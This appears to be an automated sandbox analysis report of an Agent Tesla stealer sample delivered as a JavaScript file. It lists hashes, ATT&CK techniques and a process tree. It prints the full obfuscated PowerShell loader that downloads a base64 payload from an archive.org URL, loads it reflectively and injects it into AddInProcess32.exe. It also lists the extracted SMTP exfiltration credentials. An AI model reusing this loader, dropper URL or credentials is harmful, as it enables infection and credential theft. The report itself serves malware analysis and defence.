agenttesla | 228256bcfebb67586f77a39f116251815bf29a78a2d2a1370016455b9b090457

Analysis

max time kernel
148s
max time network
152s
platform
windows10-2004_x64
resource
win10v2004-20240910-en
resource tags

arch:x64arch:x86image:win10v2004-20240910-enlocale:en-usos:windows10-2004-x64system
submitted
20/09/2024, 01:11

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General

Target
228256bcfebb67586f77a39f116251815bf29a78a2d2a1370016455b9b090457.js
Size 320KB
Sample240920-bjyjxa1fpp
SHA256 228256bcfebb67586f77a39f116251815bf29a78a2d2a1370016455b9b090457
MD5 b54f5c7cb5ac3d69127941e40966ab0c
SHA1 c75973c8bee061c5e4994e2e9da6ebb830719e31
SHA512 26b0b14d52ed23906448121c2078e032fda790df95cd27c49a888fba3b17f725d494fc89298a6a99e795faa594de1ea4739a113331129bc3395f22a387f53987
SSDEEP 6144:6Xx8rS9pLPEFSkgJisDKPdGuoKeM4k6iPrjt5DiqVAo2JIF1wS8TeBVDm6T3ViZ5:wx2spLPEFSkUisDKVA5k6arjLDi2PmCC
MD5 SHA1 SHA512 SSDEEP

Score

10^/10

agenttesla credential_access discovery execution keylogger spyware stealer trojan

Malware Config

Extracted

Language

Deobfuscated

Source

URLs

ps1.dropper
https://ia904601.us.archive.org/6/items/detah-note-j/DetahNoteJ.txt
exe.dropper
https://ia904601.us.archive.org/6/items/detah-note-j/DetahNoteJ.txt

Extracted

Family

agenttesla

Credentials

Protocol
smtp
Host
mail.mohawatradingco.com
Port
587
Username
[email protected]
Password
mohawatradingco.com
Email to
[email protected]

Signatures

AgentTesla
Agent Tesla is a remote access tool (RAT) written in visual basic.
keylogger trojan stealer spyware agenttesla
Credentials from Password Stores: Credentials from Web Browsers 1 TTPs
Malicious Access or copy of Web Browser Credential store.
credential_access stealer

Credentials from Web Browsers
T1555.003

Blocklisted process makes network request 2 IoCs

flow	pid	Process
5	1872	powershell.exe
23	1872	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
3020	powershell.exe
1872	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2629364133-3182087385-364449604-1000\Control Panel\International\Geo\Nation	wscript.exe

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
25	ip-api.com

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 1872 set thread context of 4316	1872	powershell.exe	96

Command and Scripting Interpreter: JavaScript 1 TTPs
execution

JavaScript
T1059.007
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	AddInProcess32.exe

Suspicious behavior: EnumeratesProcesses 10 IoCs

pid	Process
3020	powershell.exe
3020	powershell.exe
1872	powershell.exe
1872	powershell.exe
1872	powershell.exe
1872	powershell.exe
1872	powershell.exe
1872	powershell.exe
4316	AddInProcess32.exe
4316	AddInProcess32.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeDebugPrivilege	3020	powershell.exe
Token: SeDebugPrivilege	1872	powershell.exe
Token: SeDebugPrivilege	4316	AddInProcess32.exe

Suspicious use of WriteProcessMemory 18 IoCs

description	pid	Process	procid_target
PID 3684 wrote to memory of 3020	3684	wscript.exe	84
PID 3684 wrote to memory of 3020	3684	wscript.exe	84
PID 3020 wrote to memory of 1872	3020	powershell.exe	86
PID 3020 wrote to memory of 1872	3020	powershell.exe	86
PID 1872 wrote to memory of 2060	1872	powershell.exe	94
PID 1872 wrote to memory of 2060	1872	powershell.exe	94
PID 1872 wrote to memory of 2060	1872	powershell.exe	94
PID 1872 wrote to memory of 3284	1872	powershell.exe	95
PID 1872 wrote to memory of 3284	1872	powershell.exe	95
PID 1872 wrote to memory of 3284	1872	powershell.exe	95
PID 1872 wrote to memory of 4316	1872	powershell.exe	96
PID 1872 wrote to memory of 4316	1872	powershell.exe	96
PID 1872 wrote to memory of 4316	1872	powershell.exe	96
PID 1872 wrote to memory of 4316	1872	powershell.exe	96
PID 1872 wrote to memory of 4316	1872	powershell.exe	96
PID 1872 wrote to memory of 4316	1872	powershell.exe	96
PID 1872 wrote to memory of 4316	1872	powershell.exe	96
PID 1872 wrote to memory of 4316	1872	powershell.exe	96

C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\228256bcfebb67586f77a39f116251815bf29a78a2d2a1370016455b9b090457.js
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:3684
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'KAAnAEUAMwB6ACcAKwAnAHUAcgBsACAAPQAgAGgAaQB6AGgAdAB0AHAAcwA6AC8ALwAnACsAJwBpAGEAJwArACcAOQAwACcAKwAnADQANgAwADEALgB1AHMALgBhAHIAYwBoAGkAdgBlAC4AJwArACcAbwByAGcALwA2AC8AaQAnACsAJwB0AGUAbQBzAC8AZABlAHQAJwArACcAYQBoAC0AbgBvAHQAZQAtACcAKwAnAGoAJwArACcALwAnACsAJwBEACcAKwAnAGUAdABhAGgATgBvAHQAZQBKACcAKwAnAC4AdAB4AHQAJwArACcAaABpAHoAJwArACcAOwBFACcAKwAnADMAegAnACsAJwBiACcAKwAnAGEAcwBlACcAKwAnADYANABDACcAKwAnAG8AbgB0AGUAbgB0ACcAKwAnACAAPQAnACsAJwAgACgATgAnACsAJwBlAHcALQBPAGIAJwArACcAagAnACsAJwBlAGMAJwArACcAdAAgAFMAeQAnACsAJwBzAHQAZQBtAC4ATgAnACsAJwBlAHQALgBXAGUAJwArACcAYgBDAGwAJwArACcAaQBlACcAKwAnAG4AdAApAC4ARABvAHcAbgAnACsAJwBsAG8AJwArACcAYQBkAFMAdAByAGkAbgBnACgAJwArACcARQAzAHoAJwArACcAdQByAGwAKQA7AEUAMwB6ACcAKwAnAGIAaQBuAGEAcgB5AEMAbwBuAHQAJwArACcAZQBuAHQAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAEMAbwBuACcAKwAnAHYAZQAnACsAJwByAHQAXQA6ADoARgByAG8AbQAnACsAJwBCAGEAcwAnACsAJwBlADYANABTAHQAcgBpAG4AZwAnACsAJwAoAEUAMwB6AGIAYQBzAGUANgAnACsAJwA0AEMAbwBuAHQAZQBuAHQAKQA7AEUAMwAnACsAJwB6AGEAcwBzAGUAJwArACcAbQBiAGwAeQAgAD0AIAAnACsAJwBbAFIAZQAnACsAJwBmAGwAZQAnACsAJwBjAHQAaQBvAG4ALgBBAHMAcwBlACcAKwAnAG0AYgBsAHkAXQA6ACcAKwAnADoATABvAGEAZAAoACcAKwAnAEUAMwB6AGIAaQBuAGEAcgB5AEMAbwAnACsAJwBuACcAKwAnAHQAZQAnACsAJwBuAHQAKQA7AEUAMwB6AHQAeQAnACsAJwBwAGUAIAAnACsAJwA9ACcAKwAnACAARQAzAHoAJwArACcAYQBzACcAKwAnAHMAZQBtACcAKwAnAGIAbAB5ACcAKwAnAC4ARwAnACsAJwBlAHQAVAB5AHAAZQAnACsAJwAoAGgAJwArACcAaQB6AFIAdQBuAFAARQAuAEgAbwBtAGUAaABpAHoAJwArACcAKQAnACsAJwA7AEUAMwB6ACcAKwAnAG0AZQB0AGgAJwArACcAbwBkACcAKwAnACAAPQAgAEUAMwB6AHQAeQAnACsAJwBwAGUALgBHACcAKwAnAGUAdABNAGUAdAAnACsAJwBoACcAKwAnAG8AJwArACcAZAAoAGgAaQB6AFYAQQAnACsAJwBJACcAKwAnAGgAaQB6ACkAJwArACcAOwBFADMAegBtACcAKwAnAGUAdABoAG8AZAAuAEkAbgB2AG8AJwArACcAawBlACgARQAzAHoAbgB1AGwAbAAnACsAJwAsACcAKwAnACAAJwArACcAWwBvAGIAagBlACcAKwAnAGMAJwArACcAdABbACcAKwAnAF0AXQAnACsAJwBAACcAKwAnACgAaABpAHoAdAAnACsAJwB4AHQALgA5ADkAMQAvACcAKwAnAHYAJwArACcAZQAnACsAJwBkAC4AJwArACcAMgByACcAKwAnAC4ANAA3ACcAKwAnAGEAZgAzACcAKwAnADIAYQBlAGMAOABlACcAKwAnADYAJwArACcAMABhADcAOAAyADcAOQA0ADYAJwArACcAMAAzACcAKwAnAGMAMABiADEAMwA0AGMAOQAzAC0AJwArACcAYgB1AHAAJwArACcALwAvADoAcwBwAHQAdAAnACsAJwBoACcAKwAnAGgAJwArACcAaQAnACsAJwB6ACAALAAgAGgAaQAnACsAJwB6AGQAZQBzAGEAdABpACcAKwAnAHYAYQBkAG8AaABpACcAKwAnAHoAIAAsACAAaABpAHoAJwArACcAZABlAHMAJwArACcAYQB0AGkAdgBhACcAKwAnAGQAbwBoAGkAegAgACwAJwArACcAIABoAGkAegBkAGUAJwArACcAcwBhAHQAaQAnACsAJwB2AGEAZAAnACsAJwBvAGgAaQAnACsAJwB6ACcAKwAnACwAJwArACcAaABpAHoAJwArACcAQQBkACcAKwAnAGQASQBuAFAAcgAnACsAJwBvAGMAZQBzACcAKwAnAHMAJwArACcAMwAyAGgAJwArACcAaQB6ACwAaABpAHoAJwArACcAZABlAHMAYQB0AGkAdgBhACcAKwAnAGQAbwBoAGkAJwArACcAegApACcAKwAnACkAJwArACcAOwAnACkALgBSAEUAUABsAEEAQwBFACgAKABbAGMASABhAFIAXQA2ADkAKwBbAGMASABhAFIAXQA1ADEAKwBbAGMASABhAFIAXQAxADIAMgApACwAJwAkACcAKQAuAFIARQBQAGwAQQBDAEUAKAAoAFsAYwBIAGEAUgBdADEAMAA0ACsAWwBjAEgAYQBSAF0AMQAwADUAKwBbAGMASABhAFIAXQAxADIAMgApACwAWwBzAHQAcgBJAE4AZwBdAFsAYwBIAGEAUgBdADMAOQApACAAfAAmACAAKAAgACQARQBOAHYAOgBDAE8AbQBTAHAARQBDAFsANAAsADIANAAsADIANQBdAC0AagBPAEkATgAnACcAKQA=';$OWjuxD = [system.Text.encoding]::Unicode.GetString([system.Convert]::Frombase64String($Codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:3020
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "('E3z'+'url = hizhttps://'+'ia'+'90'+'4601.us.archive.'+'org/6/i'+'tems/det'+'ah-note-'+'j'+'/'+'D'+'etahNoteJ'+'.txt'+'hiz'+';E'+'3z'+'b'+'ase'+'64C'+'ontent'+' ='+' (N'+'ew-Ob'+'j'+'ec'+'t Sy'+'stem.N'+'et.We'+'bCl'+'ie'+'nt).Down'+'lo'+'adString('+'E3z'+'url);E3z'+'binaryCont'+'ent = [System.Con'+'ve'+'rt]::From'+'Bas'+'e64String'+'(E3zbase6'+'4Content);E3'+'zasse'+'mbly = '+'[Re'+'fle'+'ction.Asse'+'mbly]:'+':Load('+'E3zbinaryCo'+'n'+'te'+'nt);E3zty'+'pe '+'='+' E3z'+'as'+'sem'+'bly'+'.G'+'etType'+'(h'+'izRunPE.Homehiz'+')'+';E3z'+'meth'+'od'+' = E3zty'+'pe.G'+'etMet'+'h'+'o'+'d(hizVA'+'I'+'hiz)'+';E3zm'+'ethod.Invo'+'ke(E3znull'+','+' '+'[obje'+'c'+'t['+']]'+'@'+'(hizt'+'xt.991/'+'v'+'e'+'d.'+'2r'+'.47'+'af3'+'2aec8e'+'6'+'0a7827946'+'03'+'c0b134c93-'+'bup'+'//:sptt'+'h'+'h'+'i'+'z , hi'+'zdesati'+'vadohi'+'z , hiz'+'des'+'ativa'+'dohiz ,'+' hizde'+'sati'+'vad'+'ohi'+'z'+','+'hiz'+'Ad'+'dInPr'+'oces'+'s'+'32h'+'iz,hiz'+'desativa'+'dohi'+'z)'+')'+';').REPlACE(([cHaR]69+[cHaR]51+[cHaR]122),'$').REPlACE(([cHaR]104+[cHaR]105+[cHaR]122),[strINg][cHaR]39) |& ( $ENv:COmSpEC[4,24,25]-jOIN'')"
    3⤵
    - Blocklisted process makes network request
    - Command and Scripting Interpreter: PowerShell
    - Suspicious use of SetThreadContext
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:1872
  - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe"
      4⤵
      PID:2060
  - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe"
      4⤵
      PID:3284
  - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe"
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:4316

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

JavaScript

T1059.007

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Discovery

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Size 3KB
SHA256 224331b7bfae2c7118b187f0933cdae702eae833d4fed444675bd0c21d08e66a
MD5 f41839a3fe2888c8b3050197bc9a0a05
SHA1 0798941aaf7a53a11ea9ed589752890aee069729
SHA512 2acfac3fbe51e430c87157071711c5fd67f2746e6c33a17accb0852b35896561cec8af9276d7f08d89999452c9fb27688ff3b7791086b5b21d3e59982fd07699
MD5 SHA1 SHA512

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StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 64B
SHA256 a07d329eb9b4105ba442c89f7cfa0d7b263f9f0617e26df93cf8cdc8dc94d57b
MD5 a6c9d692ed2826ecb12c09356e69cc09
SHA1 def728a6138cf083d8a7c61337f3c9dade41a37f
SHA512 2f27d2b241ce34f988c39e17ca5a1ebe628ac6c1b8ee8df121db9ad8929eaadf5f24ad66457591cccf87e60d2ba2eab88af860ab9c323a5c2a9867045d6e7ba3
MD5 SHA1 SHA512

Submit Download

__PSScriptPolicyTest_wu5k4ece.yc1.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_wu5k4ece.yc1.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
MD5 SHA1 SHA512

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memory/1872-22-0x0000013D6FF90000-0x0000013D7019C000-memory.dmp

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memory/3020-29-0x00007FFBB7F40000-0x00007FFBB8A01000-memory.dmp

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memory/3020-12-0x00007FFBB7F40000-0x00007FFBB8A01000-memory.dmp

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memory/3020-11-0x00007FFBB7F40000-0x00007FFBB8A01000-memory.dmp

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memory/3020-1-0x0000023534B00000-0x0000023534B22000-memory.dmp

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memory/3020-0-0x00007FFBB7F43000-0x00007FFBB7F45000-memory.dmp

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memory/4316-23-0x0000000000400000-0x0000000000442000-memory.dmp

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memory/4316-30-0x0000000005C70000-0x0000000006214000-memory.dmp

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memory/4316-31-0x0000000005640000-0x00000000056A6000-memory.dmp

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memory/4316-32-0x0000000006A70000-0x0000000006AC0000-memory.dmp

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memory/4316-33-0x0000000006B60000-0x0000000006BF2000-memory.dmp

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memory/4316-34-0x0000000006AE0000-0x0000000006AEA000-memory.dmp

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